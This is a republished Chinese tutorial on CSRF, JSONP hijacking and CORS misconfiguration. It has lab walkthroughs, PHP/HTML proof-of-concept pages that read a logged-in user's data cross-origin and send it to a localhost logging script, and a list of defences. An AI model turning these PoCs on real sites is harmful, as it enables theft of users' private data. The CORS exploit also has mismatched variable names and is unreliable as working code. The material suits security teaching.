CSRF 篇

一、CSRF 漏洞:

1、漏洞概述:

(1)一般情景:

        利用已认证用户的身份执行未经用户授权的操作。攻击者试图欺骗用户在其不知情的情况下执行某些操作,通常是在受害者已经登录到特定网站的情况下。

(2)JSONP 漏洞:

        JSONP 是用于跨域读取数据的技术,为了绕过同源策略,可以使用

<script src="...">  
<img src="...">    
<link href="...">   
<iframe src="...">  

等标签来进行跨域

(3)CORS 漏洞:

1、CORS的引入: 由于同源策略的限制,许多Web应用程序需要与不同域的资源进行交互,
因此CORS被引入以允许这种跨域请求。
CORS是一种通过HTTP头部来控制的机制,它告诉浏览器是否允许一个特定的跨域请求。2、CORS头部: 要使用CORS,服务器需要在HTTP响应头部中包括一些特定的字段,例如:
(1)Access-Control-Allow-Origin: 指定允许访问资源的域,可以是特定域名或 *(表示允许任何域)。
(2)Access-Control-Allow-Methods: 指定允许的HTTP方法,如 GET、POST、PUT 等。
(3)Access-Control-Allow-Headers: 指定允许的HTTP头部,用于在实际请求中包含自定义头部信息。
(4)Access-Control-Expose-Headers: 指定哪些响应头部可以被暴露给浏览器。
CORS 请求时时,getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers 里面指定。(5)Access-Control-Allow-Credentials: 指定是否允许发送身份验证凭证(例如cookies)。
(6)Access-Control-Max-Age: 指定预检请求的有效时间(在发送实际请求之前进行的检查)。3、简单请求和预检请求: 浏览器执行CORS请求时,将根据请求的类型分为“简单请求”和“预检请求”。
(1)简单请求:GET、HEAD 和 POST 方法,且只包含了浏览器自动添加的标准头部,例如 Content-Type。
(2)预检请求:对于复杂请求,浏览器会首先发送一个预检请求(OPTIONS请求),以检查服务器是否允许实际请求。4、安全性: CORS 的实施有助于确保跨域请求不会引发安全问题。服务器可以配置哪些域名允许访问资源,可以控制允许的HTTP方法和头部,以及是否允许发送身份验证凭证。这有助于防止恶意网站访问敏感资源。
在前端代码中,使用XMLHttpRequest或Fetch API可以进行CORS请求。浏览器会自动处理CORS头部和响应。

2、漏洞情景:

(1)一般情景:

        用户访问网站 A,验证成功,网站 A 回传给用户 cookie 参数,在用户未退出网站 A 的情况下,访问了网站 B,网站 B 发送了一个访问网站 A 的请求,用户点击后,恶意代码执行,攻击达成。

(2)JSPON 漏洞:

        网站 A 存在一个 jsonp 接口,用户在网站 A 上登陆后,这个 jsonp 接口会返回用户的个人信息,并在网站 A 的页面上进行显示。如果网站 A 对此 jsonp 接口的来源验证存在漏洞,那么当用户访问网站 B 时,网站 B 便可以利用此漏洞获取用户信息。

(3)CORS 漏洞:

        其实都差不多一个意思

二、实例:

实例1:pikachu 靶场的 CSRF

(1)登陆成功后:

(2)点击提交用 burpsuite 抓取修改页面的信息

(3)使用 Generator CSRF PoC 工具

(4)在退出登陆前,访问生成的页面再点击后,攻击达成

注意:

(1)如果是 get 型的请求,其实是不用点击的,直接用短链接生成 url 就行了;

(2)如果有 xss 漏洞,可以自动访问这个 html 页面;

实例2:JSONP 漏洞

1、实例源码:

(1)user.php:

<?php header('Content-type: application/json');$callback = $_GET['callback'];print $callback.'({"id":"1","name":"1","email":"1"});';
?>

(2)get_json.html:

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title></title><script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script></head><body><script>function jsonp2(data){alert(JSON.stringify(data));}</script><script src="http://localhost/jsonp/user.php?callback=jsonp2"></script></body>
</html>

(3)poc.php

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title></title><script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script><script>function test(data) {var xmlhttp = new XMLHttpRequest();var url = "http://localhost/jsonp/poc.php?file=" + JSON.stringify(data);xmlhttp.open("GET", url, true);xmlhttp.send();}</script><script src="http://localhost/jsonp/user.php?callback=test"></script>
</head>
<body>
</body>
</html><?phpif ($_GET['file']) {file_put_contents('json.txt', $_GET['file']);}
?>

2、漏洞复现:

(1)访问 user.php ,可以看到设定好的数据

(2)访问 get_json.html ,可以弹窗获取设定好的数据

(3)访问 poc.php ,可以把获取到的 json 数据保存在本地 json.txt 中

实例3:CORS 漏洞

1、实例源码:

(1)userinfo.php

<?phpif (@$_SERVER['HTTP_ORIGIN']){header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);}else{header("Access-Control-Allow-Origin: *");}header("Access-Control-Allow-Headers: X-Requested-With");header("Access-Control-Allow-Credentials: true");header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');echo json_encode($info);
?>

(2)test.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Cors</title>
</head>
<body>
<script>function cors() {var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if(xhr.readyState == 4){alert(xhr.responseText);}}xhr.open("GET",'http://localhost:860/csrf/userinfo.php');xhr.send();}cors();
</script>
</body>
</html>

(3)cors-exp.php

</head>
<body>
<script>function cors() {var xhr = new XMLHttpRequest();var xhr1 = new XMLHttpRequest();xhr.onreadystatechange = function () {if(xhr.readyState == 4){alert(xhr.responseText)var data = xhr.responseText;xhr1.open("POST","http://localhost/cors/cors-exp.php",true);xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");alert(data);xhr1.send("moon="+escape(cc));}}xhr.open("GET",'http://localhost:860/csrf/userinfo.php');xhr.send();}cors();
</script>
</body>
</html><?php$data = $_POST['cc'];if($data){$myfile = fopen("data1.txt","w");fwrite($myfile,$data);fclose($myfile);}
?>

2、漏洞复现:

(1)先访问 userinfo.php

(2)访问 test.html 测试

(3)访问 cors-exp.php 来进行文件写入

三、漏洞预防:

1、增加 Token 验证,对关键操作增加 Token 参数,token 必须随机,每次都不一样

2、关于安全的会话管理(避免会话被利用) 不要在客户端保存敏感信息(比如身份验证信息) 退出、关闭浏览器时的会话过期机制 设置会话过机制,比如 15 分钟无操作,则自动登录超时

3、访问控制安全管理 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧 密码

4、敏感信息的修改使用 POST,而不是 GET 通过 HTTP 头部中的 REFERER 来限制原页面

5、JSONP 存在安全风险,因此如果不是必需,尽量避免使用它。而是使用更安全的替代方法,如CORS

6、CORS 是一种更安全的方法,允许服务器控制哪些域可以访问其资源。使用CORS需要在服务器端进行配置,以明确指定允许的域

7、如果必须使用 JSONP,确保对从客户端接收的数据进行严格的输入验证和过滤。不要信任客户端提供的数据,因为它可能包含恶意代码

8、设置回调函数随机

9、CORS 不要配置 "Access-Control-Allow-Origin"  为通配符“*”

10、要严格效验来自请求数据包中的"Origin" 的值。当收到跨域请求的时候,要检查"Origin" 的值是否是一个可信的源, 还要检查是否为 null

11、避免使用 "Access-Control-Allow-Credentials: true"

12、减少 Access-Control- Allow-Methods 所允许的方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/175061.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

线程是如何创建的

线程不是一个完全由内核实现的机制&#xff0c;它是由内核态和用户态合作完成的。pthread_create 不是一个系统调用&#xff0c;是 Glibc 库的一个函数&#xff0c;所以我们还要去 Glibc 里面去找线索。 首先处理的是线程的属性参数。例如前面写程序的时候&#xff0c;我们设置…

国家数据局正式揭牌,数据专业融合型人才迎来发展良机

&#x1f4d5;作者简介&#xff1a;热爱跑步的恒川&#xff0c;致力于C/C、Java、Python等多编程语言&#xff0c;热爱跑步&#xff0c;喜爱音乐的一位博主。 &#x1f4d7;本文收录于恒川的日常汇报系列&#xff0c;大家有兴趣的可以看一看 &#x1f4d8;相关专栏C语言初阶、C…

今天面了个00后测试员,让我见识到了内卷届的天花板

深耕IT行业多年&#xff0c;我们发现&#xff0c;对于一个程序员而言&#xff0c;能去到一线互联网公司&#xff0c;会给我们以后的发展带来多大的影响。 很多人想说&#xff0c;这个我也知道&#xff0c;但是进大厂实在是太难了&#xff0c;简历投出去基本石沉大海&#xff0…

MyBatis的增删改查

2023.10.29 本章学习MyBatis的基本crud操作。 insert java程序如下&#xff1a; ①使用map集合传参 Testpublic void testInsertCar(){SqlSession sqlSession SqlSessionUtil.openSession();//先将数据放到Map集合中&#xff0c;在sql语句中使用 #{map集合的key} 来完成传…

【c++|opencv】一、基础操作---1.图像读取

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 有关c操作opencv记录 1. 正文 1.1 图像读取、显示、保存 // 读取、显示、保存图像#include <opencv2/opencv.hpp> #include <iostream>us…

除自身以外数组的乘积

给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O(n) 时间复杂…

Xilinx 7 系列 1.8V LVDS 和 2.5V LVDS 信号之间的 LVDS 兼容性

如果通过LVDS进行接口&#xff0c;可以按照以程图中的步骤操作&#xff0c;以确保满足正确使用LVDS的所有要求。 40191 - 7 系列 - 1.8V LVDS 和 2.5V LVDS 信号之间的 LVDS 兼容性 与LVDS兼容驱动器和接收器连接时&#xff0c;7系列LVDS和LVDS_25输入和输出应该不存在兼容性问…

合肥中科深谷嵌入式项目实战——人工智能与机械臂(四)

订阅&#xff1a;新手可以订阅我的其他专栏。免费阶段订阅量1000 python项目实战 Python编程基础教程系列&#xff08;零基础小白搬砖逆袭) 作者&#xff1a;爱吃饼干的小白鼠。Python领域优质创作者&#xff0c;2022年度博客新星top100入围&#xff0c;荣获多家平台专家称号。…

3.6每日一题(线性方程求通解)

1、判断类型选择方法&#xff1a;发现以y为未知函数&#xff0c;以x为自变量&#xff0c;不符合我们学过的类型 2、此时有两种方法&#xff1a; &#xff08;1&#xff09;x 与 y 对调&#xff0c;此时 x 为未知函数&#xff0c;y 为自变量 &#xff08;2&#xff09;变量代换…

【Linux精讲系列】——yum软件包管理

​作者主页 &#x1f4da;lovewold少个r博客主页 ⚠️本文重点&#xff1a;Linux系统软件包管理工具yum讲解 &#x1f604;每日一言&#xff1a;踏向彼岸的每一步&#xff0c;都是到达彼岸本身。 目录 前言 Linux系统下的软件下载方式 yum 查看软件包 如何安装软件 如何卸…

Apollo上机实践:一次对自动驾驶技术的亲身体验

上机实践 概述自动驾驶通信分布式系统开发模式开发工具 自动驾驶感知传感器特性感知流程及算法部署感知模型 自动驾驶决策规划决策规划流程和算法使用 Dreamview 进行控制在环的规划调试开发规划场景和算法 福利活动 主页传送门&#xff1a;&#x1f4c0; 传送 概述 Apollo 是…

网络协议--TCP的交互数据流

19.1 引言 前一章我们介绍了TCP连接的建立与释放&#xff0c;现在来介绍使用TCP进行数据传输的有关问题。 一些有关TCP通信量的研究如[Caceres et al. 1991]发现&#xff0c;如果按照分组数量计算&#xff0c;约有一半的TCP报文段包含成块数据&#xff08;如FTP、电子邮件和U…

阿里云的OSS云存储的基本使用

阿里云官网&#xff1a;阿里云-计算&#xff0c;为了无法计算的价值 通过阿里云官网&#xff0c;登录进入用户的界面&#xff0c;在搜索框中输入OSS&#xff0c;然后进入阿里云的对象存储OSS的控制台。&#xff08;未开通的开通即可&#xff09; 创建 Bucket 点击【Bucket 列…

车载电子电器架构 —— 基于AP定义车载HPC

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节…

基于物联网、大数据、云计算、人工智能等技术的智慧工地源码(Java+Spring Cloud +UniApp +MySql)

智慧工地是指利用物联网、大数据、云计算、人工智能等技术手段&#xff0c;为建筑施工现场提供智能硬件及物联网平台的解决方案&#xff0c;实现建筑工地的实时化、可视化、多元化、智慧化、便捷化。智慧工地的建设目标是实现全天候的管理监控&#xff0c;提高施工效率和质量&a…

【OpenCV实现图像找到轮廓的不同特征,就像面积,周长,质心,边界框等等。】

文章目录 概要图像矩凸包边界矩形 概要 OpenCV是一个流行的计算机视觉库&#xff0c;它提供了许多图像处理和分析功能&#xff0c;其中包括查找图像中物体的轮廓。通过查找轮廓&#xff0c;可以提取许多有用的特征&#xff0c;如面积、周长、质心、边界框等。 以下是几种使用…

AI:41-基于基于深度学习的YOLO模型的玉米病害检测

🚀 本文选自专栏:AI领域专栏 从基础到实践,深入了解算法、案例和最新趋势。无论你是初学者还是经验丰富的数据科学家,通过案例和项目实践,掌握核心概念和实用技能。每篇案例都包含代码实例,详细讲解供大家学习。 📌📌📌本专栏包含以下学习方向: 机器学习、深度学…

mac系统u盘启动盘制作教程,更新至macOS Sonoma 14

mac系统怎么制作装系统的u盘,如果您要在多台电脑上安装 macOS&#xff0c;而又不想每次都下载安装器&#xff0c;这时可引导安装器就会很有用。一起来看苹果电脑u盘启动盘制作教程吧。 Macos系统安装包合集包揽macos 10.15&#xff0c;macos 11和苹果最新系统等多个版本 1、A…

SSH 无密登录设置

1 &#xff09; 配置 ssh &#xff08;1&#xff09;基本语法 ssh 另一台电脑的 IP 地址&#xff08;2&#xff09;ssh 连接时出现 Host key verification failed 的解决方法 [libaihadoop102 ~]$ ssh hadoop103 ➢ 如果出现如下内容 Are you sure you want to continue c…

利用远程IO模块,轻松驾驭食品包装生产的自动化

常见的自动化包装系统&#xff0c;它的核心部分通常由一系列高端设备组成&#xff0c;包括自动开箱机、自动封箱机、自动捆扎机、装箱机器人、码垛机器人等。这些设备协同工作&#xff0c;形成一条高效运转的生产线&#xff0c;从开箱到装箱&#xff0c;再到码垛&#xff0c;每…